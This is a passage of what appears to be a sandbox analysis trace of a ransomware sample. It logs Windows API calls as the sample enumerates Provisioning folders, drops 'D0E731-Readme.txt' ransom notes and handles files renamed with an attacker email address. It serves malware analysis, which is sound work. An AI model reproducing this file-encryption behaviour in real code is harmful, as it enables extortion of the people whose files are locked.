[0175.023] wcscat (in: _Dest=0x2f83b88, _Source="*" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{268c43e1-aa2b-4036-86ef-8cda98a0c2fe}\\Prov\\*") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{268c43e1-aa2b-4036-86ef-8cda98a0c2fe}\\Prov\\*" [0175.023] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x250) returned 0x3021d80 [0175.023] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{268c43e1-aa2b-4036-86ef-8cda98a0c2fe}\\Prov\\*", lpFindFileData=0x3021d80 | out: lpFindFileData=0x3021d80*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d26a2f7, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x8bc2a4e5, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x8bc2a4e5, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3044d68 [0175.024] wcscmp (_String1=".", _String2=".") returned 0 [0175.024] FindNextFileW (in: hFindFile=0x3044d68, lpFindFileData=0x3021d80 | out: lpFindFileData=0x3021d80*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d26a2f7, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x8bc2a4e5, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x8bc2a4e5, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0175.024] wcscmp (_String1="..", _String2=".") returned 1 [0175.024] wcscmp (_String1="..", _String2="..") returned 0 [0175.024] FindNextFileW (in: hFindFile=0x3044d68, lpFindFileData=0x3021d80 | out: lpFindFileData=0x3021d80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8bc2a4e5, ftCreationTime.dwHighDateTime=0x1d56382, ftLastAccessTime.dwLowDateTime=0x8bc2a4e5, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x8bc2a4e5, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x481, dwReserved0=0x0, dwReserved1=0x0, cFileName="D0E731-Readme.txt", cAlternateFileName="D0E731~1.TXT")) returned 1 [0175.024] wcscmp (_String1="D0E731-Readme.txt", _String2=".") returned 1 [0175.024] wcscmp (_String1="D0E731-Readme.txt", _String2="..") returned 1 [0175.024] FindNextFileW (in: hFindFile=0x3044d68, lpFindFileData=0x3021d80 | out: lpFindFileData=0x3021d80*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d26a2f7, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x8caeade6, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x8caeade6, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="RunTime", cAlternateFileName="")) returned 1 [0175.024] wcscmp (_String1="RunTime", _String2=".") returned 1 [0175.025] wcscmp (_String1="RunTime", _String2="..") returned 1 [0175.025] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0xbc) returned 0x2fa7ab8 [0175.026] wcscpy (in: _Dest=0x2fa7ab8, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{268c43e1-aa2b-4036-86ef-8cda98a0c2fe}\\Prov" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{268c43e1-aa2b-4036-86ef-8cda98a0c2fe}\\Prov") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{268c43e1-aa2b-4036-86ef-8cda98a0c2fe}\\Prov" [0175.026] wcscat (in: _Dest=0x2fa7ab8, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{268c43e1-aa2b-4036-86ef-8cda98a0c2fe}\\Prov\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{268c43e1-aa2b-4036-86ef-8cda98a0c2fe}\\Prov\\" [0175.026] wcscat (in: _Dest=0x2fa7ab8, _Source="RunTime" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{268c43e1-aa2b-4036-86ef-8cda98a0c2fe}\\Prov\\RunTime") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{268c43e1-aa2b-4036-86ef-8cda98a0c2fe}\\Prov\\RunTime" [0175.506] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c502b0, lpParameter=0x2fa7ab8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x920 [0175.507] FindNextFileW (in: hFindFile=0x3044d68, lpFindFileData=0x3021d80 | out: lpFindFileData=0x3021d80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x53de90cb, ftCreationTime.dwHighDateTime=0x1d29f93, ftLastAccessTime.dwLowDateTime=0x53de90cb, ftLastAccessTime.dwHighDateTime=0x1d29f93, ftLastWriteTime.dwLowDateTime=0x8bc042ef, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x26c, dwReserved0=0x0, dwReserved1=0x0, cFileName="RunTime.xml.mailto[kokoklock@cock.li].d0e731", cAlternateFileName="")) returned 1 [0175.507] wcscmp (_String1="RunTime.xml.mailto[kokoklock@cock.li].d0e731", _String2=".") returned 1 [0175.507] wcscmp (_String1="RunTime.xml.mailto[kokoklock@cock.li].d0e731", _String2="..") returned 1 [0175.507] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x106) returned 0x305ce68 [0175.507] wcscpy (in: _Dest=0x305ce68, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{268c43e1-aa2b-4036-86ef-8cda98a0c2fe}\\Prov" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{268c43e1-aa2b-4036-86ef-8cda98a0c2fe}\\Prov") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{268c43e1-aa2b-4036-86ef-8cda98a0c2fe}\\Prov" [0175.507] wcscat (in: _Dest=0x305ce68, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{268c43e1-aa2b-4036-86ef-8cda98a0c2fe}\\Prov\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{268c43e1-aa2b-4036-86ef-8cda98a0c2fe}\\Prov\\" [0175.507] wcscat (in: _Dest=0x305ce68, _Source="RunTime.xml.mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{268c43e1-aa2b-4036-86ef-8cda98a0c2fe}\\Prov\\RunTime.xml.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{268c43e1-aa2b-4036-86ef-8cda98a0c2fe}\\Prov\\RunTime.xml.mailto[kokoklock@cock.li].d0e731" [0175.507] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x305ce68, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x644 [0175.508] FindNextFileW (in: hFindFile=0x3044d68, lpFindFileData=0x3021d80 | out: lpFindFileData=0x3021d80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x53de90cb, ftCreationTime.dwHighDateTime=0x1d29f93, ftLastAccessTime.dwLowDateTime=0x53de90cb, ftLastAccessTime.dwHighDateTime=0x1d29f93, ftLastWriteTime.dwLowDateTime=0x8bc042ef, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x26c, dwReserved0=0x0, dwReserved1=0x0, cFileName="RunTime.xml.mailto[kokoklock@cock.li].d0e731", cAlternateFileName="")) returned 0 [0175.508] FindClose (in: hFindFile=0x3044d68 | out: hFindFile=0x3044d68) returned 1 [0175.508] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x3021d80) returned 1 [0175.508] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f83b88) returned 1 [0175.508] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x3055920) returned 1 [0175.508] RtlExitUserThread (Status=0x0) Thread: id = 2362 os_tid = 0xf48 [0175.026] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{23cb517f-5073-4e96-a202-7fe6122a2271}\\customizations.xml.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{23cb517f-5073-4e96-a202-7fe6122a2271}\\customizations.xml.mailto[kokoklock@cock.li].d0e731")) returned 0x20 [0175.028] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{23cb517f-5073-4e96-a202-7fe6122a2271}\\customizations.xml.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 0 [0175.028] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{23cb517f-5073-4e96-a202-7fe6122a2271}\\customizations.xml.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{23cb517f-5073-4e96-a202-7fe6122a2271}\\customizations.xml.mailto[kokoklock@cock.li].d0e731"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0175.028] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{23cb517f-5073-4e96-a202-7fe6122a2271}\\customizations.xml.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 0 [0175.029] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f6ab60) returned 1 [0175.029] RtlExitUserThread (Status=0x0) Thread: id = 2363 os_tid = 0xf4c [0175.030] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{23cb517f-5073-4e96-a202-7fe6122a2271}\\MasterDatastore.xml.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{23cb517f-5073-4e96-a202-7fe6122a2271}\\masterdatastore.xml.mailto[kokoklock@cock.li].d0e731")) returned 0x20 [0175.030] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{23cb517f-5073-4e96-a202-7fe6122a2271}\\MasterDatastore.xml.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 0 [0175.030] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{23cb517f-5073-4e96-a202-7fe6122a2271}\\MasterDatastore.xml.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{23cb517f-5073-4e96-a202-7fe6122a2271}\\masterdatastore.xml.mailto[kokoklock@cock.li].d0e731"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0175.030] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{23cb517f-5073-4e96-a202-7fe6122a2271}\\MasterDatastore.xml.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 0 [0175.030] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x305e218) returned 1 [0175.030] RtlExitUserThread (Status=0x0) Thread: id = 2364 os_tid = 0xf50 [0175.031] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0xb0) returned 0x2f83c40 [0175.031] wcscpy (in: _Dest=0x2f83c40, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{23cb517f-5073-4e96-a202-7fe6122a2271}\\Prov" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{23cb517f-5073-4e96-a202-7fe6122a2271}\\Prov") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{23cb517f-5073-4e96-a202-7fe6122a2271}\\Prov" [0175.031] wcscat (in: _Dest=0x2f83c40, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{23cb517f-5073-4e96-a202-7fe6122a2271}\\Prov\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{23cb517f-5073-4e96-a202-7fe6122a2271}\\Prov\\" [0175.031] wcscat (in: _Dest=0x2f83c40, _Source="*" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{23cb517f-5073-4e96-a202-7fe6122a2271}\\Prov\\*") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{23cb517f-5073-4e96-a202-7fe6122a2271}\\Prov\\*" [0175.031] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x250) returned 0x3021fe8 [0175.031] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{23cb517f-5073-4e96-a202-7fe6122a2271}\\Prov\\*", lpFindFileData=0x3021fe8 | out: lpFindFileData=0x3021fe8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d21de20, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x8bc506a4, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x8bc506a4, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3044ea8 [0175.032] wcscmp (_String1=".", _String2=".") returned 0 [0175.032] FindNextFileW (in: hFindFile=0x3044ea8, lpFindFileData=0x3021fe8 | out: lpFindFileData=0x3021fe8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d21de20, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x8bc506a4, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x8bc506a4, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0175.032] wcscmp (_String1="..", _String2=".") returned 1 [0175.032] wcscmp (_String1="..", _String2="..") returned 0 [0175.032] FindNextFileW (in: hFindFile=0x3044ea8, lpFindFileData=0x3021fe8 | out: lpFindFileData=0x3021fe8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8bc506a4, ftCreationTime.dwHighDateTime=0x1d56382, ftLastAccessTime.dwLowDateTime=0x8bc506a4, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x8bc506a4, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x481, dwReserved0=0x0, dwReserved1=0x0, cFileName="D0E731-Readme.txt", cAlternateFileName="D0E731~1.TXT")) returned 1 [0175.032] wcscmp (_String1="D0E731-Readme.txt", _String2=".") returned 1 [0175.032] wcscmp (_String1="D0E731-Readme.txt", _String2="..") returned 1 [0175.032] FindNextFileW (in: hFindFile=0x3044ea8, lpFindFileData=0x3021fe8 | out: lpFindFileData=0x3021fe8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d21de20, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x8cac4dc0, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x8cac4dc0, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="RunTime", cAlternateFileName="")) returned 1 [0175.032] wcscmp (_String1="RunTime", _String2=".") returned 1 [0175.032] wcscmp (_String1="RunTime", _String2="..") returned 1 [0175.032] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0xbc) returned 0x2fa73b0 [0175.032] wcscpy (in: _Dest=0x2fa73b0, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{23cb517f-5073-4e96-a202-7fe6122a2271}\\Prov" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{23cb517f-5073-4e96-a202-7fe6122a2271}\\Prov") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{23cb517f-5073-4e96-a202-7fe6122a2271}\\Prov" [0175.032] wcscat (in: _Dest=0x2fa73b0, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{23cb517f-5073-4e96-a202-7fe6122a2271}\\Prov\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{23cb517f-5073-4e96-a202-7fe6122a2271}\\Prov\\" [0175.032] wcscat (in: _Dest=0x2fa73b0, _Source="RunTime" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{23cb517f-5073-4e96-a202-7fe6122a2271}\\Prov\\RunTime") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{23cb517f-5073-4e96-a202-7fe6122a2271}\\Prov\\RunTime" [0175.503] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c502b0, lpParameter=0x2fa73b0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x90c [0175.504] FindNextFileW (in: hFindFile=0x3044ea8, lpFindFileData=0x3021fe8 | out: lpFindFileData=0x3021fe8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5408696e, ftCreationTime.dwHighDateTime=0x1d29f93, ftLastAccessTime.dwLowDateTime=0x5408696e, ftLastAccessTime.dwHighDateTime=0x1d29f93, ftLastWriteTime.dwLowDateTime=0x8bc506a4, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x1bb, dwReserved0=0x0, dwReserved1=0x0, cFileName="RunTime.xml.mailto[kokoklock@cock.li].d0e731", cAlternateFileName="")) returned 1 [0175.504] wcscmp (_String1="RunTime.xml.mailto[kokoklock@cock.li].d0e731", _String2=".") returned 1 [0175.504] wcscmp (_String1="RunTime.xml.mailto[kokoklock@cock.li].d0e731", _String2="..") returned 1 [0175.504] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x106) returned 0x305ca08 [0175.504] wcscpy (in: _Dest=0x305ca08, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{23cb517f-5073-4e96-a202-7fe6122a2271}\\Prov" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{23cb517f-5073-4e96-a202-7fe6122a2271}\\Prov") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{23cb517f-5073-4e96-a202-7fe6122a2271}\\Prov" [0175.504] wcscat (in: _Dest=0x305ca08, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{23cb517f-5073-4e96-a202-7fe6122a2271}\\Prov\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{23cb517f-5073-4e96-a202-7fe6122a2271}\\Prov\\" [0175.504] wcscat (in: _Dest=0x305ca08, _Source="RunTime.xml.mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{23cb517f-5073-4e96-a202-7fe6122a2271}\\Prov\\RunTime.xml.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{23cb517f-5073-4e96-a202-7fe6122a2271}\\Prov\\RunTime.xml.mailto[kokoklock@cock.li].d0e731" [0175.505] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x305ca08, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x520 [0175.505] FindNextFileW (in: hFindFile=0x3044ea8, lpFindFileData=0x3021fe8 | out: lpFindFileData=0x3021fe8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5408696e, ftCreationTime.dwHighDateTime=0x1d29f93, ftLastAccessTime.dwLowDateTime=0x5408696e, ftLastAccessTime.dwHighDateTime=0x1d29f93, ftLastWriteTime.dwLowDateTime=0x8bc506a4, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x1bb, dwReserved0=0x0, dwReserved1=0x0, cFileName="RunTime.xml.mailto[kokoklock@cock.li].d0e731", cAlternateFileName="")) returned 0 [0175.505] FindClose (in: hFindFile=0x3044ea8 | out: hFindFile=0x3044ea8) returned 1 [0175.505] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x3021fe8) returned 1 [0175.505] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f83c40) returned 1 [0175.505] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x30559d8) returned 1 [0175.505] RtlExitUserThread (Status=0x0) Thread: id = 2365 os_tid = 0xf54 [0175.033] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{1e05dd5d-a022-46c5-963c-b20de341170f}\\customizations.xml.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{1e05dd5d-a022-46c5-963c-b20de341170f}\\customizations.xml.mailto[kokoklock@cock.li].d0e731")) returned 0x20 [0175.036] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{1e05dd5d-a022-46c5-963c-b20de341170f}\\customizations.xml.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 0 [0175.036] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{1e05dd5d-a022-46c5-963c-b20de341170f}\\customizations.xml.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{1e05dd5d-a022-46c5-963c-b20de341170f}\\customizations.xml.mailto[kokoklock@cock.li].d0e731"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0175.036] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{1e05dd5d-a022-46c5-963c-b20de341170f}\\customizations.xml.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 0 [0175.036] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f96a28) returned 1 [0175.036] RtlExitUserThread (Status=0x0) Thread: id = 2366 os_tid = 0xf58 [0175.037] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{1e05dd5d-a022-46c5-963c-b20de341170f}\\MasterDatastore.xml.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{1e05dd5d-a022-46c5-963c-b20de341170f}\\masterdatastore.xml.mailto[kokoklock@cock.li].d0e731")) returned 0x20 [0175.038] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{1e05dd5d-a022-46c5-963c-b20de341170f}\\MasterDatastore.xml.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 0 [0175.038] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{1e05dd5d-a022-46c5-963c-b20de341170f}\\MasterDatastore.xml.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{1e05dd5d-a022-46c5-963c-b20de341170f}\\masterdatastore.xml.mailto[kokoklock@cock.li].d0e731"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0175.038] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{1e05dd5d-a022-46c5-963c-b20de341170f}\\MasterDatastore.xml.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 0 [0175.038] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x305e330) returned 1 [0175.038] RtlExitUserThread (Status=0x0) Thread: id = 2367 os_tid = 0xf5c [0175.039] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0xb0) returned 0x2f83cf8 [0175.039] wcscpy (in: _Dest=0x2f83cf8, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{1e05dd5d-a022-46c5-963c-b20de341170f}\\Prov" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{1e05dd5d-a022-46c5-963c-b20de341170f}\\Prov") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{1e05dd5d-a022-46c5-963c-b20de341170f}\\Prov" [0175.039] wcscat (in: _Dest=0x2f83cf8, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{1e05dd5d-a022-46c5-963c-b20de341170f}\\Prov\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{1e05dd5d-a022-46c5-963c-b20de341170f}\\Prov\\" [0175.039] wcscat (in: _Dest=0x2f83cf8, _Source="*" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{1e05dd5d-a022-46c5-963c-b20de341170f}\\Prov\\*") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{1e05dd5d-a022-46c5-963c-b20de341170f}\\Prov\\*" [0175.039] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x250) returned 0x3022250 [0175.039] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{1e05dd5d-a022-46c5-963c-b20de341170f}\\Prov\\*", lpFindFileData=0x3022250 | out: lpFindFileData=0x3022250*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d139154, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x8bc76a84, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x8bc76a84, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3044ee8 [0175.040] wcscmp (_String1=".", _String2=".") returned 0 [0175.040] FindNextFileW (in: hFindFile=0x3044ee8, lpFindFileData=0x3022250 | out: lpFindFileData=0x3022250*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d139154, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x8bc76a84, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x8bc76a84, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0175.040] wcscmp (_String1="..", _String2=".") returned 1 [0175.040] wcscmp (_String1="..", _String2="..") returned 0 [0175.040] FindNextFileW (in: hFindFile=0x3044ee8, lpFindFileData=0x3022250 | out: lpFindFileData=0x3022250*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8bc76a84, ftCreationTime.dwHighDateTime=0x1d56382, ftLastAccessTime.dwLowDateTime=0x8bc76a84, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x8bc76a84, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x481, dwReserved0=0x0, dwReserved1=0x0, cFileName="D0E731-Readme.txt", cAlternateFileName="D0E731~1.TXT")) returned 1 [0175.040] wcscmp (_String1="D0E731-Readme.txt", _String2=".") returned 1 [0175.040] wcscmp (_String1="D0E731-Readme.txt", _String2="..") returned 1 [0175.040] FindNextFileW (in: hFindFile=0x3044ee8, lpFindFileData=0x3022250 | out: lpFindFileData=0x3022250*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d139154, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x8ca9ebbd, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x8ca9ebbd, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="RunTime", cAlternateFileName="")) returned 1 [0175.040] wcscmp (_String1="RunTime", _String2=".") returned 1 [0175.040] wcscmp (_String1="RunTime", _String2="..") returned 1 [0175.040] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0xbc) returned 0x2fa7478 [0175.041] wcscpy (in: _Dest=0x2fa7478, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{1e05dd5d-a022-46c5-963c-b20de341170f}\\Prov" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{1e05dd5d-a022-46c5-963c-b20de341170f}\\Prov") returned="C:\\Users\\All 